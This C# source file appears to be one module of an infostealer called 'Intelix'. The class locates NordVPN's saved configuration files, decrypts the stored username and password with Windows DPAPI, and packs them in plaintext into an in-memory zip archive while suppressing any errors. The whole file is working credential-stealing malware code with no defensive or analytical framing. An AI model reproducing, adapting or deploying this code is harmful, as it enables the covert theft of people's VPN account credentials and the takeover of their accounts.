using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Xml;
using Intelix.Helper.Data;
using Intelix.Helper.Encrypted;

namespace Intelix.Targets.Vpn;

public class NordVpn : ITarget
{
	public void Collect(InMemoryZip zip, Counter counter)
	{
		DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "NordVPN"));
		if (!directoryInfo.Exists)
		{
			return;
		}
		Counter.CounterApplications counterApplications = new Counter.CounterApplications();
		counterApplications.Name = "NordVPN";
		try
		{
			DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*");
			foreach (DirectoryInfo directoryInfo2 in directories)
			{
				List<string> list = new List<string>();
				DirectoryInfo[] directories2 = directoryInfo2.GetDirectories();
				for (int j = 0; j < directories2.Length; j++)
				{
					string text = Path.Combine(directories2[j].FullName, "user.config");
					if (File.Exists(text))
					{
						XmlDocument xmlDocument = new XmlDocument();
						xmlDocument.Load(text);
						string text2 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Username']/value")?.InnerText);
						string text3 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Password']/value")?.InnerText);
						if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3))
						{
							list.Add("Username: " + text2 + "\nPassword: " + text3);
						}
					}
				}
				if (list.Count > 0)
				{
					string entryPath = Path.Combine("NordVPN", directoryInfo2.Name, "accounts.txt");
					counterApplications.Files.Add(directoryInfo2.FullName + " => NordVPN\\");
					counterApplications.Files.Add("NordVPN\\");
					zip.AddTextFile(entryPath, string.Join("\n\n", list));
				}
			}
		}
		catch
		{
		}
		counterApplications.Files.Add("NordVPN\\");
		counter.Vpns.Add(counterApplications);
	}

	private static string Decode(string s)
	{
		return Encoding.UTF8.GetString(DpApi.Decrypt(Convert.FromBase64String(s))) ?? "";
	}
}